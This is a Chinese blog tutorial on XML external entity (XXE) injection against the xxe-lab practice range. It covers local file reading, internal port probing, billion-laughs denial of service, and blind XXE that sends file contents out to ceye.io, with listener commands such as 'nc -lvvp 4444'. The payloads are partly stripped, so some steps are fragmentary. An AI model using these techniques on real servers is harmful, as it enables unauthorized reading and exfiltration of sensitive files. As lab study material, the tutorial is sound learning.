一、简介及靶场搭建
简介
XXE(XML External Entity Injection)即XML外部实体注入。漏洞是在对非安全的外部实体数据进行处理时引发的安全问题。
XXE原理
XXE即XML外部实体注入 。我们先分别理解一下注入和外部实体的含义。
注入:是指XML数据在传输过程中被修改,导致服务器执行了修改后的恶意代码,从而达到攻击目的。
外部实体:则是指攻击者通过利用外部实体声明部分来对XML数据进行修改、插入恶意代码。
所以XXE就是指XML数据在传输过程中利用外部实体声明部分的“SYSTEM”关键词导致XML解析器可以从本地文件或者远程URI中读取受保护的数据。
关于XML的基础知识请参考文章末尾的参考链接第二个
靶场搭建
XXE-lab是一个使用php,java,python,C#四种当下最常用语言的网站编写语言来编写的一个存在xxe漏洞的web demo。
地址为:https://github.com/c0ny1/xxe-lab
直接把文件放在php web页面下即可运行
随便输入一个账号密码登录并使用Burp抓包,发送到Repeater
可以看到数据以xml的形式从首页传递给doLogin.php进行解析
那我们就在body中加入xml内容,看是否服务器是否会对文件进行解析
我们先以有回显的XXE漏洞进行测试来看看XXE的利用方式
1、文件读取:
file:/// #file协议读取文件
http://url/file.txt #http协议读取站点下的文件
PHP://filter #文件流形式读取php文件
但是若是以file和http协议读取.php文件则会报错,因为php文件中含有<>//等特殊字符,xml解析时会当成xml语法进行解析。那我们若是要读取php文件则可以使用 php://filter/read=convert.base64-encode/resource=/etc/hosts方法对内容进行base64编码,看下面:
PHP://filter/read=convert.base64-encode/resource=D:/phpstudy/WWW/test/Bachang/XXE/php_xxe/doLogin.php
2、内网探测
XXE可以访问外部的url,具有和ssrf类似的效果,可以利用xxe进行内网探测
netstat -nao 查看本机端口,选择902端口
DOMDocument::loadXML(http://127.0.0.1:902): failed to open stream: HTTP request failed! 220 VMware Authentication Daemon Version 1.10: SSL Required, ServerDaemonProtocol:SOAP, MKSDisplayProtocol:VNC , , NFCSSL supp in D:\phpstudy\WWW\test\Bachang\XXE\php_xxe\doLogin.php
探测到了902的VMware服务
XXE的内网探测不像SSRF的内网探测那样强大,挺鸡肋的
3.DDOS攻击
该攻击通过构建一项递归的XML定义,在内存中生成十亿个“abc”字符串,从而导致DDOS攻击。原理为构造恶意的XML实体文件耗尽可用内存,因为许多XML解析器在解析XML文档时倾向于将它的整个结构保留在内存中,解析非常慢,造成了拒绝服务器攻击
找了几个靶场没有找到盲注的XXE漏洞,那我们将这题假设为盲注,不看Burp右边的显示
盲注为没有回显的XXE注入,因为没有回显会给我们的判断造成困难,所以我们以以下三种方式判断注入是否成功
前提是需要有一个具有公网ip的主机
1.查看受攻击机的服务器日志
2.通过Dnslog平台查看是否进行查询
3.Burp Collaborator Everywhere 插件验证
现有两台机器,一台是以BT面板搭建的,具有XXE-lab靶场的CentOS7虚拟机,IP为192.168.1.102
一台是我的windows10主机,以phpstudy搭建而成,IP为192.168.1.101
两台机器可以互通
实验中,我以我的windows主机模拟具有公网ip的主机(因为实战情况下XML解析器只能解析公网ip),通过xxe漏洞读取windows主机上的文件
查看访问日志验证是否具有XXE漏洞
在本题是盲注的情况下右侧返回包中是不存在内容的,而我们要看是否具有XXE漏洞就看是否192.168.1.101的公网ip(假设)上是否收到来自其他主机的访问记录,查看公网ip主机(假设)的apache或nginx访问记录:
可以看到确实收到了受攻击机的访问记录,说明受攻击机解析了XML内容,来访问了我们的公网ip主机(假设是公网ip主机)
基于此,在实战中我们面对盲注时,构造xml内容让其访问我们能够控制的主机,然后查看我们能够控制的主机上是否具有来自受攻击机的访问记录就可确定是否有XML注入。
其实在我们攻击具有XXE漏洞的服务器时,受攻击服务器进行了两次响应,如果查看受攻击的服务器上的日志会发现两条记录:一次是对XML进行解析后对另一台远程服务器的访问,一次是访问服务器自身上具有XXE漏洞的文件。有访问就有回复,另一台我们可以控制的远程服务器上的日志就会记录受攻击服务器的访问记录抛给它一个404.
如果看懂了上面的,这个也就懂了,在攻击中,我们可以使受攻击服务器访问 DNS解析平台——dnslog.cn或ceye.io平台
说明XML解析成功,访问了74zgsl.dnslog.cn,具有XXE漏洞。
Collaborator插件位于extender模块下的Bapp Store,点击安装即可
在左上角打开Collaborator服务器
点击copy to clipboard将随机生成一个url用于测试
可以看到Collaborator中收到了DNS解析记录和HTTP访问记录
好家伙,真就在脚本小子的路上越走越远了。
以上只是说明该服务器具有XXE盲注,而若是要以盲注读取到信息还需要更进一步
三、盲注读取文件
在我们可以控制的服务器上构造dtd实体
test.dtd
">
通过加载服务器下的test.dtd文件,将读取的文件传递给 http://eovpu4.ceye.io/?p=%file(该网址后面有解释)
%remote;%int;%send;
]>
调用过程解释如下:
- %remote请求远程vps上的test.dtd
- %int调用test.dtd中的%file
- %file获取被攻击服务器上的敏感文件,并传入%send
- %send将数据发送到ceye.io上
也解释以下test.dtd文件中的 % 此处如果直接使用%号,会出现报错:
DOMDocument::loadXML(): Entity Value: ‘%’ forbidden except for entities
%不允许出现在 Entity的value中,所以需要将%进行Unicode编码为 % 或者 %(转化成Unicode编码有两种形式,以后接十进制数字,后接十六进制数字)
解释以下ceye.io,ceye.io平台, 通过自己的 DNS 服务器和 HTTP 服务器监控 DNS 查询和 HTTP 请求,它还可以创建自定义文件作为在线负载。它可以帮助安全研究人员在测试漏洞(例如 SSRF/XXE/RFI/RCE)时收集信息(抄的)
现在演示XXE盲注:
在公网ip上上传test.dtd,内容为:
">
对XXE服务器进行攻击:
%remote;%int;%send;
]>
因为是盲注,所以读取到的内容会发送到http://eovpu4.ceye.io/?p=%file的“p”参数中
放包
一些特殊符号是中文,不用管它。
至此我们成功通过盲注读取到了XXE-lab服务器下的文件。
如果不使用ceye.io平台,则可以把读取到的信息发送到公网ip的一个HTTP监听端口上,但我这边通过python和nc都没有监听成功,内容也一并贴出来,如果有大佬知道问题出在哪里的话希望能给我解答以下,感谢
payload:
%remote;%int;%send;
]>
test.dtd
">
公网服务器上开启监听:
python -m SimpleHTTPServer 4444
或
nc -lvvp 4444
本文就到这里了,主要学习了XXE漏洞的一些基础利用
而一些报错Blind XXE、本地DTD文件引用、SVG格式的XXE等也很有意思,后面也会好好学习、整理
待续
吐槽一下印象笔记中的内容复制到csdn后,代码注释没了,图片没了,文字格式也没了,每次发表都废了我好大劲,看来是时候换掉它了。。。
参考链接:
https://www.cnblogs.com/bmjoker/p/9626241.html
https://xz.aliyun.com/t/6502